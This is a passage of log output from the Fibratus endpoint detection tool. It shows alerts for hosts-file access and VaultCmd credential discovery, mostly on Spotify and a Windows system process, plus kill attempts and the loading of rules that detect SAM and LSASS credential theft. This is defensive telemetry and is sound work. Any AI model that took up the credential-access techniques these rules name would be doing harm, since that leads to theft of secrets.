Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:46:36+01:00 level=info msg=executing kill action: pids=[18276] rule=Suspicious access to the hosts file source=rules/engine.go:294 +time=2025-11-03T23:46:45+01:00 level=info msg=sending alert: [Suspicious access to the hosts file]. Text: Suspicious process C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe accessed the hosts file for potential tampering + Event(s): + Seq: 4737363 + Pid: 18276 + Tid: 17896 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-03 23:46:31.6524168 +0100 CET + Params: cmdline➜ "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --start-stack-profiler --subproc-heap-profiling --user-data-dir="C:\Users\nedo\AppData\Local\Spotify" --log-severity=disable --user-agent-product="Chrome/140.0.7339.214 Spotify/1.2.75.510" --metrics-shmem-handle=2872,i,17491693638694112800,15106932004750548089,524288 --field-trial-handle=2592,i,10113765395578559146,7441257694941847005,262144 --disable-features=BackForwardCache,FullscreenBubbleShowOrigin,HardwareMediaKeyHandling,LensOverlay,PartitionAllocDanglingPtr,PartitionAllocUnretainedDanglingPtr,StorageNotificationService --variations-seed-version --enable-logging=handle --log-file=2952 --mojo-platform-channel-handle=2948 /prefetch:11, directory_table_base➜ 25baf1000, domain➜ ARCHRABBIT, exe➜ C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe10677642080, name➜ Spotify.exe, pid➜ 19616, ppid➜ 18276, real_ppid➜ 18276, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-03 23:46:31.6523163 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Suspicious access to the hosts file, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1562.001, technique.name: Impair Defenses - Disable or Modify Tools, technique.ref: https://attack.mitre.org/techniques/T1562/001/, rule.seq.link: 13412845795300868096 + + Pid: 18276 + Ppid: 8756 + Name: Spotify.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: C:\Users\nedo\AppData\Roaming\Spotify\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_18276_JYETTDXMCJKHTGWW COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8756_1262719628:1 EFC_8756_1592913036:1 EFC_8756_2283032206:1 EFC_8756_2775293581:1 EFC_8756_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 4766876 + Pid: 19616 + Tid: 6468 + Type: CreateFile + CPU: 0 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-03 23:46:32.5953987 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffffe10677e3d800, file_path➜ C:\WINDOWS\system32\drivers\etc\hosts, irp➜ ffffe106746dc0f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 6468, type➜ Directory + Metadata: rule.name: Suspicious access to the hosts file, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1562.001, technique.name: Impair Defenses - Disable or Modify Tools, technique.ref: https://attack.mitre.org/techniques/T1562/001/, rule.seq.link: 13412845795300868096 + + Pid: 19616 + Ppid: 18276 + Name: Spotify.exe + Parent name: Spotify.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --start-stack-profiler --subproc-heap-profiling --user-data-dir="C:\Users\nedo\AppData\Local\Spotify" --log-severity=disable --user-agent-product="Chrome/140.0.7339.214 Spotify/1.2.75.510" --metrics-shmem-handle=2872,i,17491693638694112800,15106932004750548089,524288 --field-trial-handle=2592,i,10113765395578559146,7441257694941847005,262144 --disable-features=BackForwardCache,FullscreenBubbleShowOrigin,HardwareMediaKeyHandling,LensOverlay,PartitionAllocDanglingPtr,PartitionAllocUnretainedDanglingPtr,StorageNotificationService --variations-seed-version --enable-logging=handle --log-file=2952 --mojo-platform-channel-handle=2948 /prefetch:11 + Parent cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --start-stack-profiler --subproc-heap-profiling --user-data-dir="C:\Users\nedo\AppData\Local\Spotify" --log-severity=disable --user-agent-product="Chrome/140.0.7339.214 Spotify/1.2.75.510" --metrics-shmem-handle=2872,i,17491693638694112800,15106932004750548089,524288 --field-trial-handle=2592,i,10113765395578559146,7441257694941847005,262144 --disable-features=BackForwardCache,FullscreenBubbleShowOrigin,HardwareMediaKeyHandling,LensOverlay,PartitionAllocDanglingPtr,PartitionAllocUnretainedDanglingPtr,StorageNotificationService --variations-seed-version --enable-logging=handle --log-file=2952 --mojo-platform-channel-handle=2948 /prefetch:11] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:46:45+01:00 level=info msg=executing kill action: pids=[19616] rule=Suspicious access to the hosts file source=rules/engine.go:294 +time=2025-11-03T23:46:45+01:00 level=error msg=unable to execute rule action: fail to execute action for "Suspicious access to the hosts file" rule: failed to kill pid 19616: Access is denied. source=rules/engine.go:252 +time=2025-11-03T23:46:50+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4777865 + Pid: 17956 + Tid: 960 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:46:33.1804024 +0100 CET + Params: file_key➜ ffff808ce2228970, offset➜ 0, pid➜ 17956, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 243e0550000, view_size➜ 8192 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, technique.id: T1555, technique.name: Credentials from Password Stores, tactic.id: TA0006 + + Pid: 17956 + Ppid: 18276 + Name: Spotify.exe + Parent name: Spotify.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --type=renderer --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --subproc-heap-profiling --user-data-dir="C:\Users\nedo\AppData\Local\Spotify" --log-severity=disable --user-agent-product="Chrome/140.0.7339.214 Spotify/1.2.75.510" --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --time-ticks-at-unix-epoch=-1762201823250613 --launch-time-ticks=8169915583 --metrics-shmem-handle=6680,i,4513671757850380811,2826324512479153353,2097152 --field-trial-handle=2592,i,10113765395578559146,7441257694941847005,262144 --disable-features=BackForwardCache,FullscreenBubbleShowOrigin,HardwareMediaKeyHandling,LensOverlay,PartitionAllocDanglingPtr,PartitionAllocUnretainedDanglingPtr,StorageNotificationService --variations-seed-version --enable-logging=handle --log-file=6692 -- + Parent cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: LOW + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --type=renderer --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --subproc-heap-profiling --user-data-dir="C:\Users\nedo\AppData\Local\Spotify" --log-severity=disable --user-agent-product="Chrome/140.0.7339.214 Spotify/1.2.75.510" --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --time-ticks-at-unix-epoch=-1762201823250613 --launch-time-ticks=8169915583 --metrics-shmem-handle=6680,i,4513671757850380811,2826324512479153353,2097152 --field-trial-handle=2592,i,10113765395578559146,7441257694941847005,262144 --disable-features=BackForwardCache,FullscreenBubbleShowOrigin,HardwareMediaKeyHandling,LensOverlay,PartitionAllocDanglingPtr,PartitionAllocUnretainedDanglingPtr,StorageNotificationService --variations-seed-version --enable-logging=handle --log-file=6692 --] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:47:23+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4869149 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:46:53.9069455 +0100 CET + Params: file_key➜ ffff808cd7caf010, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1aad0000, view_size➜ 327680 + Metadata: technique.name: Credentials from Password Stores, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, rule.name: Credential discovery via VaultCmd tool, technique.id: T1555 + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:47:23+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4869149 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:46:53.9069455 +0100 CET + Params: file_key➜ ffff808cd7caf010, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1aad0000, view_size➜ 327680 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.id: T1555, technique.name: Credentials from Password Stores, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:47:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4869149 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:46:53.9069455 +0100 CET + Params: file_key➜ ffff808cd7caf010, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1aad0000, view_size➜ 327680 + Metadata: tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, rule.name: Credential discovery via VaultCmd tool, technique.id: T1555, technique.name: Credentials from Password Stores + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:47:49+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T23:47:49+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:47:50+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:48:13+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-03T23:48:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-03T23:48:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-03T23:48:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-03T23:48:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-03T23:48:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-03T23:48:13+01:00 level=info msg=loading rule from 